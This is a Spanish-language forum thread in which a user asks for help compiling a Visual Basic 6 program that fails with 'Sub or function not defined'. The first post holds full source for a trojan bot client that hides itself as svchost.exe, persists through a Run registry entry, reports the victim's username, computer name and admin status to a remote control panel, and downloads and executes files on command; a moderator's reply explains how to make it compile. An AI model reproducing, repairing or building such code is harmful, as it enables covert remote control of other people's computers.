Autor
|
Tema: Me arroja error "Sub or function not defined" (Leído 5,651 veces)
|
antihelio
Desconectado
Mensajes: 14
|
muy buenas. al quererlo compilarlo como exe me arroja el error. no consigo encontrar el problema. me ayudan? 'Hidden File Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long Dim keyword(4) As Variant Private Sub Form_Load() On Error Resume Next '################### [SETTINGS] ################### panel = "http://xxxx.com.mx/sour" 'Panel URL MuTeX "MUTREX_910480921" 'Set Mutex Interval = 20 'minutes intCount = 0 'tCount '################### [/SETTINGS] ################### '################## [PERSISTANCE] ################## 'Call MakeCritical(-1, True) 'BSOD Process Persistance App.TaskVisible = False 'Visibility FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("AppData") & "\svchost.exe" 'Copy file SetFileAttributes Environ("AppData") & "\svchost.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it addtostartup "svchost", (Environ("AppData") & "\svchost.exe") 'Add to startup '################## [/PERSISTANCE] ################## Call getCommand(panel) End Sub Private Sub Timer1_Timer() On Error Resume Next intCount = intCount + 1 'Count +1 minute... If intCount = Interval Then 'If time is reached... intCount = 0 'Reset addtostartup "svchost", (Environ("AppData") & "\svchost.exe") Call getCommand(panel) End If End Sub Public Sub getCommand(ByVal panel) 'Get Latest Command On Error Resume Next Dim objHttp As Object, strURL As String, strText As String, id As String id = GetSetting("svchost", "svchost", "id", strText) 'Get ID strURL = panel & "run.php" 'Control Panel / run.php Set objHttp = CreateObject("MSXML2.ServerXMLHTTP") objHttp.Open "POST", strURL, False objHttp.setRequestHeader "User-Agent", _ "753cda8b05e32ef3b82e0ff947a4a936" 'Set user-agent [Secret MD5] objHttp.setRequestHeader "Content-Type", _ "application/x-www-form-urlencoded" 'Allows data to be sent If id <> "" Then 'If NOT blank... objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os & "&id=" & id) 'Send ID Else objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os) 'Don't send ID, and retrieve new ID... End If strText = objHttp.ResponseText 'Response Text Dim errcode As Long Dim localFileName As String Dim rN As Integer If Left(strText, 3) = "id|" Then SaveSetting "svchost", "svchost", "id", Split(strText, "|")(1) 'Save the new ID ElseIf Left(strText, 3) = "DL|" Then 'Download... Randomize rN = Int(Rnd * 999999) DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute ElseIf Left(strText, 3) = "UP|" Then Randomize rN = Int(Rnd * 999999) DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute 'Removal/Ending... Dim WshShell, CAL1 Set WshShell = CreateObject("WScript.Shell") If AmIAdmin = True Then CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" WshShell.RegDelete CAL1 Else CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" WshShell.RegDelete CAL1 End If Call MakeCritical(-1, False) End ElseIf Left(strText, 3) = "VV|" Then ShellExecute Me.hwnd, "Open", Split(strText, "|")(1), 0, 0, SW_SHOWNORMAL 'ShellExec [Normal] ElseIf Left(strText, 3) = "VI|" Then Shell Environ("programfiles") & "\Internet Explorer\iexplore.exe " & Split(strText, "|")(1), vbHide 'ShellExec [Hidden] ElseIf Left(strText, 3) = "UN|" Then 'Removal/Ending... If AmIAdmin = True Then CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" WshShell.RegDelete CAL1 Else CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" WshShell.RegDelete CAL1 End If Call MakeCritical(-1, False) End End If Set objHttp = Nothing End Sub
gracias. Mod: código modificado, puesto en etiquetas GeSHi
|
|
« Última modificación: 11 Febrero 2015, 16:28 pm por engel lex »
|
En línea
|
|
|
|
engel lex
|
te dice solo eso? no te dice linea, numero de error, nada?
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
|
engel lex
|
ves que dando detalles ya no tenemos que adivinar... da tantos detalles como sepas...
que es mutex, que hace o donde lo defines?
|
|
« Última modificación: 11 Febrero 2015, 16:29 pm por engel lex »
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
antihelio
Desconectado
Mensajes: 14
|
no se me descargue este archivo para mi proyecto anterior. que hace? o como lo corrijo?
|
|
|
En línea
|
|
|
|
seba123neo
|
te falta la funcion Mutex ? que queres hacer exactamente ?
|
|
|
En línea
|
|
|
|
|
antihelio
Desconectado
Mensajes: 14
|
me van a ayudar o no para irme a otro lugar?
gracias.
|
|
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.878
|
me van a ayudar o no para irme a otro lugar? 1) Bájate los humos, la gente te ha respondido a tu post con buena fé para intentar averiguar más datos sobre el problema, porque no puedes ir por ahí formulando una pregunta de programación sin dar NINGÚN tipo de información, y más cuando se trata de un maldito error, que el compiler te está indicando el motivo del error pero ha hecho falta que un compañero te pida esos datos BÁSICOS para que lo compartieses, ¿ que narices esperas, que hagamos de adivinos?, deberías sentirte agradecido por que más de 1 usuario haya prestado atención a un post de tan poca calidad (carente de cualquier información sobre el problema) y encima se haya tomado la molesta de responderte. El caso es que, YA TE ESTÁN AYUDANDO, así que no es necesario que te dirijas con prepotencia a las personas que te están ofreciendo ayuda, si eres una persona impaciente, pues lo siento por ti, si quieres irte, vete, nadie te obliga a quedarte, pero diciendo esas cosas no conseguirás NADA, bueno, si, conseguirás todo lo contrario a lo que tanto andas buscando (que no te ayuden). En serio, ¿tu crees que es normal que un moderador global tenga que pedirte información porque llegaste sin mostrar nada, y luego el moderador de la sección tenga que pedirte explicaciones sobre lo que intentas hacer porque tampoco especificaste nada? (y que además te estemos llamando la atención por quebrantamientos de las reglas del foro), el problema no es de ellos, sino tuyo, así que relájate un poco y habla con propiedad, este es un lugar respetable, si quieres ayuda, colaboras dando la información necesaria, no nos hagas perder el tiempo haciendóte preguntas que deberías haber resuelto por ti mismo al formular el post. Te invito a leer lo siguiente:
2) Debes seguir las normas del foro, profavor no publiques posts duplicados y encima en la sección incorrecta, sabes perfectamente donde debes postear las preguntas sobre VB6.
3) Me imagino que la intención del miembro inexistente "MUTEX", como su nombre indica, sería para asignarle un MUTEX a la instancia de la aplicación, ¿tienes idea de lo que significa eso? (lo pregunto en serio, ¿aparte de copiar todo el código, te has parado a intentar examinarlo para aprender su funcionamiento?, lee acerca de Mutex y Sempahores ), simplemente elimina esa instrucción para que te compile correctamente, en un principio es irrelevante dado que tus intenciones no son manipular el Mutex de la app. Saludos.
|
|
« Última modificación: 12 Febrero 2015, 11:34 am por Eleкtro »
|
En línea
|
|
|
|
antihelio
Desconectado
Mensajes: 14
|
1) Bájate los humos, la gente te ha respondido a tu post con buena fé para intentar averiguar más datos sobre el problema, porque no puedes ir por ahí formulando una pregunta de programación sin dar NINGÚN tipo de información, y más cuando se trata de un maldito error, que el compiler te está indicando el motivo del error y ha hecho falta que un compañero te pida esos datos para que lo compartieses con los demás, ¿que narices esperas, que hagamos de adivinos?, deberías dar gracias por que más de 1 usuario haya prestado atención a un post de tan poca calidad (carente de cualquier información sobre el problema) y se haya tomado la molesta de responder al post.
El caso es que, YA TE ESTÁN AYUDANDO, así que no es necesario que te dirijas con prepotencia a las personas que te están ofreciendo ayuda, si eres una persona impaciente, pues lo siento por ti, si quieres irte, vete, nadie te obliga a quedarte, pero diciendo esas cosas no conseguirás NADA, bueno, si, conseguirás todo lo contrario a lo que tanto andas buscando (que no te ayuden).
2) Debes seguir las normas del foro, profavor no publiques posts duplicados y encima en la sección incorrecta, sabes perfectamente donde debes postear las preguntas sobre VB6.
3) Me imagino que la intención del miembro inexistente "MUTEX", como su nombre indica, sería para asignarle un MUTEX a la instancia de la aplicación, ¿tienes idea de lo que significa eso? (lo pregunto en serio, ¿aparte de copiar todo el código, te has parado a intentar examinarlo para aprender su funcionamiento?, lee acerca de Mutex y Sempahores ), simplemente elimina esa instrucción para que te compile correctamente, en un principio es irrelevante dado que tus intenciones no son manipular el Mutex de la app.
Saludos.
gracias, pero no funciona, la verdad no se nada de programacion y no estoy para nada interesado en ella, si me ayudaras poniendome el codigo correcto te lo agradeceria y jamas me volveras a ver por aqui. de nuevo gracias. no quiero eliminar ninguna funcion porque el tutorial no dice que eliine nada sino que lo haga make.exe.
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
problema "procedimiento sub o function no definido"
Programación Visual Basic
|
.:UND3R:.
|
4
|
7,177
|
15 Junio 2011, 20:41 pm
por .:UND3R:.
|
|
|
Escritoro inaccesible: Error de "ATBroker.exe" "Explorer.exe" y "Taskmgr.exe".
Windows
|
Eleкtro
|
6
|
13,451
|
1 Diciembre 2011, 14:15 pm
por .:UND3R:.
|
|
|
[PROBLEMA][javascript] estoy aprendiendo y me da error "funcion is not defined"
Desarrollo Web
|
Noxware
|
2
|
2,514
|
6 Septiembre 2014, 17:29 pm
por Noxware
|
|
|
Me podeis explicar este pequeño codigo?. " Llamar a function shellexecute "
Programación C/C++
|
70N1
|
3
|
3,189
|
20 Diciembre 2014, 20:23 pm
por Eternal Idol
|
|
|
Porque me sale error de "Function/definition is not allowed"
Programación C/C++
|
Marendo05
|
1
|
2,794
|
17 Septiembre 2017, 20:31 pm
por ivancea96
|
|